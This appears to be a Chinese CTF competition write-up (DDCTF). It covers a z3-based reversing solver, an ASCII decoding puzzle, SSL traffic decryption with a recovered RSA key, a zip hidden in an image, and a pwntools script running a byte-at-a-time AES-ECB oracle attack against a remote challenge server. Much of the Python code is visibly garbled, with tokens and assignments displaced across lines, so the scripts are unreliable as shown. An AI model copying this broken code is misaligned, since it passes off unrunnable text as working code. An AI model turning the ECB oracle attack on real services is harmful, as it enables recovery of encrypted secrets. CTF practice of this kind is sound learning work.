rd if rd not in globalV:
print "Not expect rd:", line,
continue
if rd == "v1":
if ins == "negu":
# TODO
print "Loop_%d needs negu!" % n
= 1
neguF
elif ins == "beq":
# TODO
print "Loop_%d end" % n
if neguF:
0, 1)
p.insert(else:
0, 0)
p.insert(
p_all.extend(p)print len(p), p
+= 1
n = 0
neguF = []
p elif ins == "subu":
-1)
p.append(
print "v1 -= "
elif ins == "addu":
1)
p.append(
print "v1 += "
elif ins == "mul":
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*\$([0-9A-Fa-z]+)", line)[0]
rs if rs != "v0":
print "Attention:", line,
continue
print "v1 = %sv1 * v0" % ("~" if neguF else "")
else:
if ins == "lw":
continue
print "Attention:", line,
pass
if ins == "li" and rd == "v0":
print line
= re.findall("\.text:[0-9A-F]+\s+?[^\s]+?\s+\$.+?,\s*([0-9A-Fx]+)", line)[0]
offset print "Result:", offset
result.append(numeric(offset))else:
# print "Skipping line:", line,
pass
print "\nResult:", result
print "num:", p_all
f.close()
然后将得到的fp数组,result数组和num数组放进这个脚本里面用z3解释器求方程组的解就是了
from z3 import *
def negu(v0):
= bin(v0)[2:].zfill(32)
num2bytes return int("".join(map(lambda x: "0" if x == "1" else "1", num2bytes)), 2) + 1
= []
fp =[]
result = []#num
p = []
equation for i in range(len(p) / 16):
= p[i * 16:(i + 1) * 16]
a = fp[i * 16:(i + 1) * 16]
b if a[0]:
0] = negu(b[0])
b[else:
0] = 1
a[= map(lambda (a, b): a * b, zip(a, b))
d = ""
s for t in range(16):
print ("+" if d[t] > 0 and t != 0 else "") + str(hex(d[t])) + "*" + "a[" + str(t) + "]",
+= ("+" if d[t] > 0 and t != 0 else "") + str(hex(d[t])) + "*" + "a[" + str(t) + "]"
s print " = " + hex(result[i])
+= " == " + hex(result[i])
s
equation.append(s)= [BitVec("flag_%d" % i, 32) for i in range(16)]
a = Solver()
so for i in equation:
eval(i))
so.add(print(so.check())
print(so.model())
由于数有点大,大概需要1分钟的样子解出答案
MISC
Misc2 - (╯°□°)╯︵ ┻━┻
每个字符的ASCLL码都加了128,去掉就好了
= "d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb7b9b8e4b5b5e4e2b7b6b5b5b2e1b9b2b2e4b0b0e4b7b7b5e5b3b3b1b1b9b0b7fd"
c = ""
flag for i in range(len(c) / 2):
+= chr(int(c[i * 2:(i + 1) * 2], 16) & 0x7f)
flag print flag
#That was fast! The flag is: DDCTF{798d55db76552a922d00d775e3311907}
Misc3 - 流量分析
包里面用ftp传了sqlmap.zip和Fl-g.zip,后来才发现是陷阱(巨坑) 包里面的smtp里面传了一些无关紧要的东西,一些网页,一些对话,还有一张大图image001.png
然后将图片的base64编码提取出来,写进我们写的html文件
<img src="data:image/png;base64,xxxxxx(ImageBase64)”>
得到
通过提示很容易知道是一个RSA密钥的base64编码 随后在wireshark中搜索ssl协议流量,发现172.17.0.3与172.17.0.2之间有ssl通信 猜测图片中的密钥是其中一方的私钥
将图片的密钥变成标准格式(机器OCR+人眼OCR)
将密钥导进wireshark,编辑 -> 首选项 -> protocols -> SSL -> RSA keys list Edit
然后在ssl流量中发现解密出来的flag
Misc4 - 第四扩展FS
一张windows.jpg,属性部分存在密码备注,图片里面存在ZIP的文件头PK,用winhex提取出zip
file.txt是一个充满字符的txt
很容易联想到字频统计之类的攻击
使用TextDecoder Toolkit这个工具进行字符统计 下载地址:http://www.kahusecurity.com/?page_id=13485,解压密码kahusecurity
得到flag
Misc5 - 安全通信
这题比较快地写了出来,google找到一篇github的文章,刚好是对应的类型,然后写了个脚本就好了,文章地址: https://github.com/liamh95/CTF-writeups/tree/master/CSAW17/baby_crypt 题的代码如下
#!/usr/bin/env python
import sys
import json
from Crypto.Cipher import AES
from Crypto import Random
def get_padding(rawstr):
= len(rawstr) % 16
remainder if remainder != 0:
return '\x00' * (16 - remainder)
return ''
def aes_encrypt(key, plaintext):
+= get_padding(plaintext)
plaintext = AES.new(key, AES.MODE_ECB)
aes = aes.encrypt(plaintext).encode('hex')
cipher_text return cipher_text
def generate_hello(key, name, flag):
= "Connection for mission: {}, your mission's flag is: {}".format(name, flag)
message return aes_encrypt(key, message)
def get_input():
return raw_input()
def print_output(message):
print(message)
sys.stdout.flush()
def handle():
"Please enter mission key:")
print_output(= get_input().rstrip()
mission_key "Please enter your Agent ID to secure communications:")
print_output(= get_input().rstrip()
agentid = Random.new()
rnd = rnd.read(16)
session_key = '<secret>'
flag
print_output(generate_hello(session_key, agentid, flag))while True:
"Please send some messages to be encrypted, 'quit' to exit:")
print_output(= get_input().rstrip()
msg if msg == 'quit':
"Bye!")
print_output(break
= aes_encrypt(session_key, msg)
enc
print_output(enc)
if __name__ == "__main__":
handle()
代码大致意思是首先生成一个对话的随机key,然后用AES的ECB(Electronic
codebook)模式将一段嵌入agent id
和flag
的message
进行加密,密钥就是随机的key,然后输出加密的结果
接下来是一个循环,继续利用刚才的密钥对我们接下来输入的信息进行加密然后输出结果
ECB加密是分组进行加密的,解密也是分组解密。分组与分组之间的明文产生的密文互相独立,且由于算法的缘故,相同的明文分组在相同的密钥加密下会产生相同的密文
加解密流程如下图所示 > 引用自维基百科 >
而我们要做的事是通过这些个分组且明文加密固定密文的特性猜出flag的每一位来
题中以16字节为一组,我们举例也拿16字节为一组举例
首先我们假设xxxx
使我们可控的输入,一般情况下的加密会是这样的
但是如果我们控制xxx
为十五个固定的字符如十五个A
则加密过程会变成这样:
现在我们记录下此时的HEX_1
然后再通过Fuzz的方法让同样的密钥对我们特定的分组进行加密,如
AAAAAAAAAAAAAAAa
AAAAAAAAAAAAAAAb
AAAAAAAAAAAAAAAc
AAAAAAAAAAAAAAAd
....
AAAAAAAAAAAAAAA*
然后将这些加密后的HEX
与HEX_1
进行比较,加密后的密文相同则说明明文相同,所以我们可以猜测出Flag
的第一位是F
然后依次类推,推导出所有的字节就好了 然后回到我们这题
flag共39位,可以通过测试id逐字节加再观察加密后的HEX长度得到
利用python的pwntools库完成和远程程序交互
from pwn import *
import string
# context.log_level = 'debug'
def respone(recv_buf, send_buf, new_line=True):
pro.recvuntil(recv_buf)if new_line:
pro.sendline(send_buf)else:
pro.send(send_buf)
= ""
flag while 1:
= remote("116.85.48.103", 5002)
pro "mission key:\n", "You_session_key")
respone(
= (45 - len(flag)) * "1"
payload "communications:\n", payload)
respone(= pro.recvuntil('\n', drop=True)[160:160 + 32]
c
for i in string.printable:
= "Connection for mission: {}, your mission's flag is: {}".format(payload, flag + i)
message "exit:\n", message)
respone(= pro.recvuntil('\n', drop=True)[-32:]
m if c == m:
"Find char: %s", i)
log.info(+= i
flag break
pro.close()"Flag: %s", flag)
log.info(1) sleep(
结尾
比赛过程挺刺激的,依旧持续了一个星期之久 最后也是混了个22名吧 一年过去了,依旧那么菜 希望下一年自己能够找到自己真正喜欢的领域去深入研究吧